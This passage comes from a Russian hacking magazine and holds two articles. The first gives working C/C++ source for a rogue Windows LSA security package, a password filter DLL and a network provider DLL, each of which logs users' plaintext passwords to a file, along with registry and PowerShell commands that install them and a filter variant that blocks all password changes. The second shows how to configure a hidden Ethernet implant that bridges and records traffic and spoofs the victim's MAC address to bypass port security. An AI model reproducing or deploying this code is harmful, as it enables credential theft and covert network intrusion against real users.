Check architecture. U should load x86 DLL into x86 system. x64 DLL 
into x64 systems" << std::endl;

            return 1;
       }

        else {
                 std::wcout << L"[-] AddSecurityPackage failed: " << ss <<

std::endl;
            return 1;

       }
   }
    else {

           std::wcout << L"[+] AddSecurityPackage Success" << std::endl;
   }

    return 0;
}

Есть так же вто рой вари ант, но он пот ребу ет перезаг рузки сис темы. Сна чала
помеща ем наш SP в пап ку , а затем изме няем зна- 
чение в реес тре:

C:\Windows\System32

ystem sa /v 
 /d 

reg add hklm\s \currentcontrolset\control\l \ "Security 
Packages" "kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0
"pku2u"\0"SP" /t REG_MULTI_SZ 

Пос ле перезаг рузки LSA про чита ет это зна чение и под гру зит нашу DLL.

Ïðîâåðêà
Что бы про верить успешность заг рузки нашего SP в адресное прос транс тво
про цес са , мож но вос поль зовать ся фун кци ей

:
lsass.exe

EnumerateSecurityPackages()

  void EnumSecPkg() {
    SECURITY_STATUS status;
      ULONG pcPackages = 0;
      SecPkgInfo* secPkgInfo = NULL;
      status = EnumerateSecurityPackages(&pcPackages, &secPkgInfo);

       if (status != SEC_E_OK) {

 
       wprintf(L"[!] EnumerateSecurityPackages() failed with error: 
%i\n", status);
   }
           

     
std::wcout << L"NAME" << std::setw(50) << L"COMMENT" << std::setw

(40) << L"VERSION" << std::endl;
            for (ULONG i = 0; i < pcPackages; i++) {

      
      

     

       std::wcout << secPkgInfo[i].Name << std::setw(75 - wcslen(
secPkgInfo[i].Name)) << secPkgInfo[i].Comment << std::setw(20 -
sizeof(secPkgInfo[i].wVersion)) << secPkgInfo[i].wVersion << std::
endl;
   }
}

По луче ние всех заг ружен ных SP

Ïåðåõâàò ïàðîëÿ
В наш SP, кро ме стан дар тных фун кций для ини циали зации
( , , ), добавим фун кцию

. Эта фун кция будет выз вана LSA пос ле того,
как поль зователь вве дет вер ную пару логина и пароля. Код нашего вре донос- 
ного SP при обре тет сле дующий вид:

SpLsaModeInitialize() SpGetInfo() SpInitialize()
SpAcceptCredentials()

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#include <string>
#pragma comment(lib, "Secur32.lib")

   LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";

   HANDLE hLogFile = NULL;
  void SpCreateLogFile() {

         
     

 

hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
}

       void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {
       if (hLogFile == NULL) {
       SpCreateLogFile();
   }
      std::wstring wspFuncName = spFuncName;
      std::wstring wfuncName = funcName;
    std::wstring wLog;

   wLog.append(L"\n").append(wspFuncName).append(L" | ").append(
funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));

      DWORD dwNumberWritten = 0;
       
  

WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)
, &dwNumberWritten, NULL);
}

     
  

NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS
Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
     SpMakeLog((LPWSTR)L"SpInitialize", (LPWSTR)L"LsaInvoke", 0);
    return 0;
}

  NTSTATUS NTAPI SpShutDown(void)
{
     SpMakeLog((LPWSTR)L"SpShutDown", (LPWSTR)L"LsaInvoke", 0);

   CloseHandle(hLogFile);
    return 0;
}

   NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
     SpMakeLog((LPWSTR)L"SpGetInfo", (LPWSTR)L"LsaInvoke", 0);
       

    
  

PackageInfo->fCapabilities = SECPKG_FLAG_NEGOTIABLE |
SECPKG_FLAG_MUTUAL_AUTH | SECPKG_FLAG_LOGON |
SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_RESTRICTED_TOKENS

        | SECPKG_FLAG_RESTRICTED_TOKENS
         | 0x00000002; // SECPKG_CALLFLAGS_AUTHCAPABLE;

     PackageInfo->Name = (SEC_WCHAR*)L"myssp";
     PackageInfo->Comment = (SEC_WCHAR*)L"Custom security package 
from Russia with love";
     PackageInfo->wRPCID = SECPKG_ID_NONE;
     PackageInfo->cbMaxToken = 0;
     PackageInfo->wVersion = 1;
    return 0;
}

    
    

 

NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType,
PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials,
PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
     SpMakeLog((LPWSTR)L"SpAcceptCredentials", (LPWSTR)L"LsaInvoke", 0
);

      DWORD dwWritten = 0;
      

 
WriteFile(hLogFile, AccountName->Buffer, AccountName->Length, &

dwWritten, NULL);
       WriteFile(hLogFile, L"@", 2, &dwWritten, NULL);
     

  
WriteFile(hLogFile, PrimaryCredentials->DomainName.Buffer,

PrimaryCredentials->DomainName.Length, &dwWritten, NULL);
       WriteFile(hLogFile, L":", 2, &dwWritten, NULL);
     

  
WriteFile(hLogFile, PrimaryCredentials->Password.Buffer,

PrimaryCredentials->Password.Length, &dwWritten, NULL);
    return 0;
}

  SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
   {

         
       

          

       NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,
SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
   }
};

     
     

NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG
PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables)
{
     SpMakeLog((LPWSTR)L"SpLsaModeInitialize", (LPWSTR)L"LsaInvoke", 0
);
     *PackageVersion = SECPKG_INTERFACE_VERSION;
     *ppTables = SecurityPackageFunctionTable;
     *pcTables = 1;
    return 0;
}

Мы добави ли лишь логиро вание получен ных в фун кции
 учет ных дан ных. Помес тим любым удоб ным обра зом

SP в сис тему и поп робу ем отсле дить вход поль зовате ля.
SpAcceptCredentials

Ус пешный вход поль зовате ля

Пе рех вачен ные учет ные дан ные

Ïåðåõâàò ïàðîëÿ ñ ïîìîùüþ âíåäðåíèÿ Password Filter
Òðåáîâàíèÿ
Дол жны быть соб людены сле дующие усло вия:
1. Наш NP реали зован в виде биб лиоте ки .DLL

2. В NP реали зова ны .фун кции NP
3. NP име ет ту же архи тек туру, что и целевая сис тема: х64 для х64,

х86 для х86.
4. Фун кции объ явле ны как  и име ют

сог лашение о вызове .
extern "C" __declspec(dllexport)

__stdcall

Çàãðóçêà â ñèñòåìó
LSA извле кает спи сок всех пакетов уве дом лений из сле дующе го клю ча реес- 
тра:

 /v reg query "hklm\system\currentcontrolset\control\lsa"
"notification packages"

По умол чанию в нем написа но толь ко . Для добав ления сво его NP тре- 
бует ся помес тить его в пап ку , пос ле чего добавить
к это му клю чу реес тра зна чение — имя этой самой DLL без рас ширения :

scecli
C:\Windows\System32

.dll

 /v reg add "hklm\system\currentcontrolset\control\lsa" "notification 
packages" /d scecli\0passfil /t reg_multi_sz 

Ïåðåõâàò ïàðîëÿ
Са мый прос той код может выг лядеть так:

#include <windows.h>
#include <ntsecapi.h>
#include <string>
#include <iostream>

  using namespace std;

   LPWSTR logFileName = (LPWSTR)L"C:\\Temp1\\_Mz_41dbabfaastex";

   HANDLE hLogFile = NULL;
  void SpCreateLogFile() {

         
     

 

hLogFile = CreateFile(logFileName, GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
}

       void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) {
       if (hLogFile == NULL) {
       SpCreateLogFile();
   }
      std::wstring wspFuncName = spFuncName;
      std::wstring wfuncName = funcName;
    std::wstring wLog;

   wLog.append(L"\n").append(wspFuncName).append(L" | ").append(
funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));

      DWORD dwNumberWritten = 0;
       
  

WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)
, &dwNumberWritten, NULL);
}

     
 

extern "C" __declspec(dllexport) BOOLEAN __stdcall
InitializeChangeNotify(void) // Инициализация NP
{
    
 

SpMakeLog((LPWSTR)L"InitializeChangeNotify", (LPWSTR)L"LsaInvoke"
, 0);
    return TRUE;
}

// Проверка нового пароля
       

         
  

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName, PUNICODE_STRING FullName,
PUNICODE_STRING Password,BOOLEAN SetOperation)
{
     SpMakeLog((LPWSTR)L"PasswordFilter", (LPWSTR)L"LsaInvoke", 0);
     SpMakeLog((LPWSTR)AccountName->Buffer, (LPWSTR)Password->Buffer,
0);

    return TRUE;
}

// Уведомление об успешной смене пароля на новый
     

         
 

extern "C" __declspec(dllexport) NTSTATUS __stdcall
PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId,
PUNICODE_STRING NewPassword)
{
     SpMakeLog((LPWSTR)L"PasswordChangeNotify", (LPWSTR)L"LsaInvoke",
0);

     SpMakeLog((LPWSTR)UserName->Buffer, (LPWSTR)NewPassword->Buffer,
0);
    return 0;
}

Продолжение статьи →

https://learn.microsoft.com/en-us/windows/win32/api/ntsecpkg/ns-ntsecpkg-lsa_dispatch_table
https://github.com/gentilkiwi/mimikatz
https://docs.microsoft.com/ru-ru/windows/win32/debug/system-error-codes--0-499-
https://github.com/FreeRDP/FreeRDP/blob/master/winpr/include/winpr/sspi.h
https://learn.microsoft.com/en-us/windows/win32/secmgmt/management-functions#password-filter-functions


ПОСТАВЩИК
НЕБЕЗОПАСНОСТИ

КАК WINDOWS РАСКРЫВАЕТ ПАРОЛЬ
ПОЛЬЗОВАТЕЛЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Фун кции для логиро вания я ско пиро вал из кода SP. Рас смот рим новые:
 — эта фун кция вызыва ется LSA в момент,

ког да NP успешно заг ружа ется в адресное прос транс тво про цес са LSA;
• InitializeChangeNotify()

 — вызыва ется LSA, ког да поль зователь реша ет сме- 
нить пароль. В нее попада ет в плей нтек сте непос редс твен но сам новый
пароль для про вер ки;

• PasswordFilter()

 — вызыва ется LSA, ког да все NP сооб щили,
что пароль под ходит под их филь тры.

• PasswordChangeNotify()

Ус пешный перех ват нового пароля

Çàïðåùàåì ïîëüçîâàòåëÿì ìåíÿòü ïàðîëü
Как ты пом нишь, глав ная фун кция Password Filter — про верять, что пароль
под ходит под все кри терии. Мы можем зап ретить любому поль зовате лю сис- 
темы менять пароль, если изме ним фун кцию  вот так:PasswordFilter()

       
         
  

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
PUNICODE_STRING AccountName, PUNICODE_STRING FullName,
PUNICODE_STRING Password,BOOLEAN SetOperation)
{
     return FALSE; // Пароль не подходит под критерии
}

В резуль тате новый пароль прос то не будет про ходить про вер ку и LSA не раз- 
решит сме нить пароль.

Не воз можно сме нить пароль

Ïåðåõâàò ïàðîëÿ ñ ïîìîùüþ äèñïåò÷åðà ó÷åòíûõ äàííûõ
Òåîðèÿ
Дис петчер учет ных дан ных Windows поз воля ет сох ранять учет ные дан ные для,
нап ример, каких-нибудь сай тов. Нам нич то не меша ет реали зовать собс твен- 
ный дис петчер учет ных дан ных для получе ния паролей. Все будет осно- 
вывать ся на спе циаль ном ком понен те, который называ ется MPR (Multiple
Provider Router). Он обес печива ет вза имо дей ствие меж ду опе раци онной сис- 
темой и раз личны ми про вай дерами, в их чис ле — дис петчер учет ных дан ных.

При запус ке MPR про веря ет реестр в поис ках уста нов ленных про вай- 
деров. При чем очень важен порядок рас положе ния про вай деров в реес- 
тре — они заг ружа ются стро го по оче реди. Все ука зан ные в реес тре про вай- 
деры будут заг ружены в MPR.

При вхо де поль зовате ля Winlogon вызыва ет соот ветс тву ющую фун кцию
из MPR, который, в свою оче редь, дер гает каж дый дис петчер учет ных дан ных,
уве дом ляя его о том, что поль зователь вхо дит в сис тему или изме няет пароль
сво ей учет ной записи.

Но, к сожале нию, этот спо соб уже счи тает ся уста рев шим. Поэто му не могу
гаран тировать успешность работы на каж дой машине с Windows.

Äîáàâëåíèå â ñèñòåìó
MPR извле кает все дос тупные про вай деры из сле дующе го клю ча реес тра:

HKLM YSTEM rder \S \CurrentControlSet\Control\NetworkProvider\O

Есть нес коль ко вари антов добав ления собс твен ного про вай дера. Про ще
все го вос поль зовать ся скрип том. Обра ти вни мание, что в таком слу чае имя
тво ей DLL дол жно иметь вид :spy.dll

$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\
Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",spy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value 
$UpdatedValue

New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider -Name "Name" -Value spy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\spy\
NetworkProvider -Name "ProviderPath" -PropertyType ExpandString 
-Value "%SystemRoot%\System32\spy.dll"

То же самое мож но сде лать вруч ную:
1. Ко пиру ем нашу DLL ( ) в пап ку .spy.dll C:\Windows\System32

2. До бав ляем стро ку  в конец  в сле дующем клю че:spy ProviderOrder

HKLM YSTEM rder \S \CurrentControlSet\Control\NetworkProvider\O

3. Соз даем ключ:

HKLM YSTEM py\S \CurrentControlSet\Services\s \NetworkProvider 

И ука зыва ем в нем сле дующие дан ные:

"Class" = [REG_DWORD]2 
"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\spy.dll" 
"Name" = [REG_SZ]"spy" 

Пос ле чего ты можешь про верить нас трой ки сле дующим обра зом:

$providers = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\
Control\NetworkProvider\Order" -Name ProviderOrder

$arrExp=@()
foreach ($prov in ($providers.ProviderOrder -split ','))
{
   $row = New-Object psobject
   $row | Add-Member -Name "Name" -MemberType NoteProperty -Value 
$prov

   $dllPath = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\
Services\$prov\NetworkProvider" -Name ProviderPath).ProviderPath
   $row | Add-Member -Name "DllPath" -MemberType NoteProperty -Value
$dllPath
   $signature = Get-AuthenticodeSignature -FilePath $dllPath
   $certSubject = ""
   if ($signature.Status.value__ -eq 0)  #valid
   {
       $certSubject = $signature.SignerCertificate.Subject
   }
   $row | Add-Member -Name "Signer" -MemberType NoteProperty -Value 
$certSubject
   $row | Add-Member -Name "Version" -MemberType NoteProperty -Value
(Get-Command $dllPath).FileVersionInfo.FileVersion
   $row | Add-Member -Name "Description" -MemberType NoteProperty 
-Value (Get-Command $dllPath).FileVersionInfo.FileDescription

   $arrExp += $row
}

if (Test-Path Variable:PSise)
{
   $arrExp | Out-GridView
}
else
{
   $arrExp | Format-List
}

Ïåðåõâàò ïàðîëÿ
Для перех вата пароля мы вос поль зуем ся фун кци ей . MPR
вызыва ет эту фун кцию для уве дом ления дис петче ра учет ных дан ных о том, что
про изо шел успешный вход в сис тему. Дис петчер УД, получив такое сооб- 
щение, может вер нуть сце нарий вхо да (какой-нибудь скрипт, который дол жен
выпол нить ся).

NPLogonNotify()

Про тотип у фун кции сле дующий:

 DWORD NPLogonNotify(
      [in] PLUID lpLogonId,
    [in] LPCWSTR lpAuthentInfoType,
     [in] LPVOID lpAuthentInfo,
    [in] LPCWSTR lpPreviousAuthentInfoType,
     [in] LPVOID lpPreviousAuthentInfo,
     [in] LPWSTR lpStationName,
     [in] LPVOID StationHandle,
    [out] LPWSTR *lpLogonScript
);

Об рати вни мание на вто рой параметр ( ). В зависи мос ти
от типа вхо да он будет иметь раз ные зна чения:

lpAuthentInfoType

MSV1_0:Interactive 
Kerberos:Interactive 

В треть ем парамет ре ( ), опять же в зависи мос ти от типа вхо- 
да, будут лежать раз ные струк туры. В слу чае MSV1_0 он будет содер жать сле- 
дующие зна чения:

lpAuthentInfo

   typedef struct _MSV1_0_INTERACTIVE_LOGON {
  MSV1_0_LOGON_SUBMIT_TYPE MessageType;
 UNICODE_STRING           LogonDomainName;
 UNICODE_STRING           UserName;
 UNICODE_STRING           Password;
  } MSV1_0_INTERACTIVE_LOGON, *PMSV1_0_INTERACTIVE_LOGON;

А в слу чае «Кер бероса» — такие:

   typedef struct _KERB_INTERACTIVE_LOGON {
  KERB_LOGON_SUBMIT_TYPE MessageType;
 UNICODE_STRING         LogonDomainName;
 UNICODE_STRING         UserName;
 UNICODE_STRING         Password;
  } KERB_INTERACTIVE_LOGON, *PKERB_INTERACTIVE_LOGON;

Со ответс твен но, если мы пла ниру ем перех ватить MSV1_0, вос поль зуем ся
этим кодом:

#include <Windows.h>

#define WNNC_SPEC_VERSION                0x00000001
#define WNNC_SPEC_VERSION51              0x00050001
#define WNNC_NET_TYPE                    0x00000002
#define WNNC_START                       0x0000000C
#define WNNC_WAIT_FOR_START              0x00000001

  typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
   } UNICODE_STRING, * PUNICODE_STRING;

  typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
     MsV1_0InteractiveLogon = 2,
   MsV1_0Lm20Logon,
   MsV1_0NetworkLogon,
   MsV1_0SubAuthLogon,
     MsV1_0WorkstationUnlockLogon = 7,
     MsV1_0S4ULogon = 12,
     MsV1_0VirtualLogon = 82,
     MsV1_0NoElevationLogon = 83,
     MsV1_0LuidLogon = 84,
   } MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;

  typedef struct _MSV1_0_INTERACTIVE_LOGON
{
    MSV1_0_LOGON_SUBMIT_TYPE MessageType;
    UNICODE_STRING LogonDomainName;
    UNICODE_STRING UserName;
    UNICODE_STRING Password;
   } MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;

    void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
    HANDLE hFile;
    DWORD dwWritten;

     hFile = CreateFile(TEXT("C:\\spy.txt"),
       GENERIC_WRITE,
       0,
       NULL,
       OPEN_ALWAYS,
       FILE_ATTRIBUTE_NORMAL,
       NULL);

      if (hFile != INVALID_HANDLE_VALUE)
   {

          SetFilePointer(hFile, 0, NULL, FILE_END);
   

 
       WriteFile(hFile, username->Buffer, username->Length, &
dwWritten, 0);

           WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
   

 
       WriteFile(hFile, password->Buffer, password->Length, &
dwWritten, 0);

           WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
       CloseHandle(hFile);
   }
}

   __declspec(dllexport) DWORD APIENTRY NPGetCaps(
    DWORD nIndex
)
{
    switch (nIndex)
   {

        case WNNC_SPEC_VERSION:
            return WNNC_SPEC_VERSION51;

        case WNNC_NET_TYPE:
            return WNNC_CRED_MANAGER;

        case WNNC_START:
            return WNNC_WAIT_FOR_START;

       default:
            return 0;

   }
}

   __declspec(dllexport) DWORD APIENTRY NPLogonNotify(
    PLUID lpLogonId,
    LPCWSTR lpAuthInfoType,
    LPVOID lpAuthInfo,
    LPCWSTR lpPrevAuthInfoType,
    LPVOID lpPrevAuthInfo,
    LPWSTR lpStationName,
    LPVOID StationHandle,
    LPWSTR* lpLogonScript
)
{
   SavePassword(
       &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
       &(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
   );
     lpLogonScript = NULL;
    return WN_SUCCESS;
}

Пос ле чего выходим из сис темы. И заново логиним ся. Пароль будет сох ранен
в файл.

ÂÛÂÎÄÛ

По лучить пароль поль зовате ля Windows в чис том виде не очень-то и слож но.
В аутен тифика ции учас тву ет слиш ком мно го ком понен тов, что соз дает боль- 
шую угро зу для безопас ности. Но исполь зование пос тавщи ков безопас ности
на этом не закан чива ется. В сле дующей статье мы напишем AP, который соз-
даст бук валь но вто рой пароль для поль зовате ля, эда кий 
для Windows, а так же зас тавим MSV1_0 пересы лать нам учет ные дан ные
не толь ко от инте рак тивной, но и от неин терак тивной аутен тифика ции.

pam_backdoor

https://github.com/zephrax/linux-pam-backdoor
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ВЗЛОМ

По лучить несан кци они рован ный дос туп
к чужому устрой ству мож но не толь ко
с исполь зовани ем USB-пор тов, но и через
Ethernet-соеди нение, которых в сов ремен- 
ных офи сах пре дос таточ но. В этой статье
мы под робно рас ска жем, как зло умыш- 
ленни ки могут проб рать ся в локаль ную сеть
с помощью спе циаль ного «невиди мого»
девай са и как этот девайс устро ен.

INFO

Эта статья — часть серии пуб ликаций о прак- 
тичес ких при емах взло ма и атак с исполь зовани- 
ем под ручных устрой ств, которые мож но соб рать
дома. В этих матери алах мы рас кры ваем прос тые
спо собы получе ния несан кци они рован ного дос-
тупа к защищен ной информа ции и показы ваем,
как ее огра дить от подоб ных атак. Пре дыду щая
статья серии: «

».

Опас ный модем. Зак репля емся
в ата кован ной сис теме при помощи USB-
модема

Сколь ко раз ты замечал, что где-то в пуб личном мес те сто ит прин тер, IP-
телефон или даже пол ноцен ный компь ютер? Все эти устрой ства объ еди няет
то, что они, как пра вило, под клю чены к мес тной локаль ной сети уже зна комой
нам витой парой.

Прин теры, IP-телефо ны, ПК — вез де могут быть незащи щен ные Ethernet-
пор ты

Что, если потен циаль ный зло умыш ленник вос поль зует ся оставлен ным
без вни мания сетевым пор том и под клю чит вмес то легитим ного устрой ства
некий спе циаль ный девайс, который пре дос тавит ему уда лен ный дос туп
из любого угол ка мира? При чем под клю чит это хакер ское устрой ство
не отклю чая основное, а вкли нив его «посере дине».

Схе ма информа цион ных потоков при зак репле нии через Ethernet-порт

В качес тве такого готово го устрой ства мож но исполь зовать Packet Squirrel.
Его нет рудно соб рать на базе одноплат ного компь юте ра Rock Pi E.

Ап парат ное решение для зак репле ния через Ethernet

Пла та иде аль но под ходит под рас смат рива емую задачу и не содер жит ничего
лиш него: тут два Ethernet-пор та, Wi-Fi и USB. Rock Pi E име ет так же опци- 
ональ ную под дер жку PoE, что поз волит исполь зовать устрой ство без питания
по USB, которо го может не ока зать ся в удоб ном для под клю чения мес те.

Нам пот ребу ется прог рам мный хаб, который будет в точ ности копиро вать
каж дый при нятый пакет с одно го Ethernet-пор та на дру гой. Тем самым он поз- 
волит вкли нить ся в сеть вне зависи мос ти от мес та его под клю чения. Во вре- 
мя пересыл ки пакетов с одно го пор та на дру гой устрой ство может выпол нять
любые дей ствия так, что жер тва ничего не заметит. Кро ме того, кон фигура ция
хаба дол жна отве чать сле дующим тре бова ниям:

весь пересы лаемый через устрой ство тра фик записы вает ся;•
че рез сеть, к которой под клю чает ся устрой ство, откры вает ся VPN-тун нель
до управля юще го сер вера, обес печивая дос туп в эту сеть из любого угол- 
ка мира;

•

с исполь зовани ем DNS-эксфиль тра ции откры вает ся еще один VPN-тун- 
нель, даже если нет пря мого выхода в интернет;

•

ус трой ство пре дос тавля ет дос туп в сеть через встро енный Wi-Fi-адап тер;•
ус трой ство может вый ти на связь через под клю чаемый 4G-модем.•

И разуме ется, все это дол жно работать авто мати чес ки, сра зу пос ле под клю- 
чения устрой ства, так как вре мени на руч ную нас трой ку у зло умыш ленни ка
может не быть. Для воз можнос ти физичес кого под клю чения в любом мес те
мож но исполь зовать допол нитель ный патч-корд.

Ап парат ная зак ладка

Продолжение статьи →

mailto:s0i37@ya.ru
https://xakep.ru/2023/03/16/evil-modem/
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ÐÅÀËÈÇÀÖÈß

Нас тро ить одноплат ный ПК таким обра зом, что бы он мог вкли нить ся
в физичес кое соеди нение, не так уж и слож но. Сна чала нуж но отклю чить
дефол тные ком понен ты, которые могут нам помешать:

update-rc.d network-manager disable 
update-rc.d dhcpcd disable 

Те перь необ ходимо скон фигури ровать авто мати чес кое объ еди нение
интерфей сов eth0 и eth1 в сетевой мост:

/etc/network/interfaces
iface eth0 inet manual 

iface eth1 inet manual 

auto br0 
iface br0 inet dhcp 
0  bridge_ports eth0 eth1 
metric 2 

Это минималь ная кон фигура ция. Теперь аппа рат ная зак ладка уже готова
работать в режиме проз рачно го мос та. Все, что при дет на один Ethernet-
порт, будет в точ ности копиро вать ся на дру гой порт, и наобо рот. Но зло- 
умыш ленни ку не прос то нуж но пас сивно переда вать тра фик через устрой- 
ство. Оно дол жно еще как-то пре дос тавить ему уда лен ный дос туп. Для это го
сле дует внес ти необ ходимые нас трой ки внут ренней сети. В зависи мос ти
от ситу ации мож но исполь зовать раз ные методы.

Äèíàìè÷åñêàÿ íàñòðîéêà ñåòè
Час то ком пании в сво их сетях исполь зуют авто мати чес кую нас трой ку сети
пос редс твом DHCP. Получив собс твен ный IP-адрес, устрой ство будет
не прос то «глу пым» хабом, оно смо жет во вре мя пересыл ки пакетов еще и
самос тоятель но работать в сети.

Пос коль ку зак ладка под клю чает ся на дли тель ное вре мя, а сети могут
«пере езжать» на дру гие VLAN’ы, в иде але ата кующе му необ ходимо сде лать
так, что бы устрой ство всег да было готово обно вить свои сетевые нас трой ки.
Для это го нуж но про писать при нуди тель ное обновле ние арен ды IP-адре са,
а так же регуляр ный зап рос к DHCP-сер веру в слу чае неуда чи:

/etc/dhcp/dhclient.conf
send dhcp-lease-time 60; 
retry 60; 

Ñòàòè÷åñêàÿ íàñòðîéêà ñåòè
Да леко не всег да в локаль ных сетях при сутс тву ет DHCP-сер вер. Осо бен но
это спра вед ливо, если зло умыш ленник проб рался в сер верный или даже тех- 
нологи чес кий сетевой сег мент и помес тил туда свою зак ладку. В таком слу- 
чае он может заранее про писать на устрой стве нас трой ки сети:

/etc/network/interfaces
auto br0 
iface br0 inet static 
bridge_ports eth0 eth1 
hwaddress ether 00:11:22:33:44:55 
address 10.0.0.10 
netmask 255.255.255.0 
gateway 10.0.0.1 
dns-nameservers 10.0.0.2 
dns-search corp.local 
metric 2 

Port security
В кор поратив ных сетях на активном сетевом обо рудо вании час то при меня- 
ется дос таточ но прос тая, но дей ствен ная защит ная мера, ког да дос туп
к сетевой розет ке раз решен толь ко с опре делен ного MAC-адре са. В таком
слу чае тра фик от жер твы все рав но будет про ходить, ведь bridge проз рачно
пересы лает пакеты с ори гиналь ным MAC-адре сом. Но дос тупа в сеть непос- 
редс твен но с самого Packet Squirrel, исполь зующе го допол нитель ный IP-
адрес, уже не получить.

Од нако дан ное устрой ство одним кон цом под клю чает ся к ПК жер твы,
а зна чит, оно зна ет доверен ный MAC-адрес. Сле дова тель но, если в каж дом
исхо дящем пакете от Packet Squirrel на одном пор те испра вить MAC-адрес
отпра вите ля на MAC-адрес жер твы, а на дру гом — на MAC-адрес шлю за, то
пакеты ста нут неот личимы от легитим ных.

Ре али зовать такую, на пер вый взгляд, прос тую кон цепцию на деле
не так-то лег ко, пос коль ку тре бует ся, что бы устрой ство одновре мен но
с проз рачной переда чей тра фика в обе сто роны мог ло и генери ровать тра- 
фик от лица жер твы. Добить ся это го мож но было бы, нап ример, так:

sudo ifconfig br0 hw ether "$victim_mac"
sudo ifconfig br0 "$victim_ip/24"
sudo route add -net default gw "$gw_ip"

Так реали зует ся прос тое копиро вание устрой ством MAC- и IP-адре са жер- 
твы. Но увы, в таком слу чае ядро Packet Squirrel не смо жет пересы лать пакеты
из-за кон флик та оди нако вых MAC-адре сов. Тре бует ся как-то обма нуть ядро.
Мож но не менять собс твен ный MAC-адрес устрой ства, но под менять MAC-
адре са поз днее, ког да пакеты уже сге нери рова ны и «вылета ют» из сетевой
кар ты:

sudo ifconfig br0 "$victim_ip/24"
sudo route add default gw "$gw_ip"

#gw direction
 nat   br0  

  
sudo ebtables -t -A POSTROUTING -o eth0 -s $(getmac -i ) -j 
snat --to-src "$victim_mac" --snat-arp

 nat   
  br0

sudo ebtables -t -A PREROUTING -i eth0 -d "$victim_mac" -j dnat 
--to-dst $(getmac -i )

#victim direction
 nat   br0  

  
sudo ebtables -t -A POSTROUTING -o eth1 -s $(getmac -i ) -j 
snat --to-src "$gw_mac" --snat-arp

 nat   
  br0

sudo ebtables -t -A PREROUTING -i eth1 -d "$gw_mac" -j dnat 
--to-dst $(getmac -i )

В такой кон фигура ции пакеты с одно го сетево го пор та уйдут с MAC-адре сом
жер твы, а с дру гого — с MAC-адре сом шлю за. Но пакеты от жер твы сквозь
устрой ство уже не прой дут, ведь MAC-адрес при нуди тель но сме няет ся еще и
на вхо дящих пакетах.

Зер калиро вание пакетов с помощью bridge в дан ном слу чае неудоб но,
пос коль ку обра зует ся один логичес кий сетевой интерфейс ( ) на оба
Ethernet-пор та. Ата кующе му нуж но иметь воз можность отправ лять пакеты
незави симо в каж дый из сетевых интерфей сов, но при этом не теряя воз- 
можнос ти проз рачно го копиро вания пакетов меж ду интерфей сами. Добить ся
это го мож но с помощью traffic control:

br0

sudo ifconfig eth0 0 promisc up 
sudo ifconfig eth1 0 promisc up 

 sudo ifconfig eth0 "$victim_ip/24" # Работа от имени victim в 
сторону gw (LAN)
#sudo ifconfig eth1 "$gw_ip/24" # То же самое, но в сторону victim
route add -net default gw "$gw_ip"

sudo tc qdisc add dev eth0 ingress 
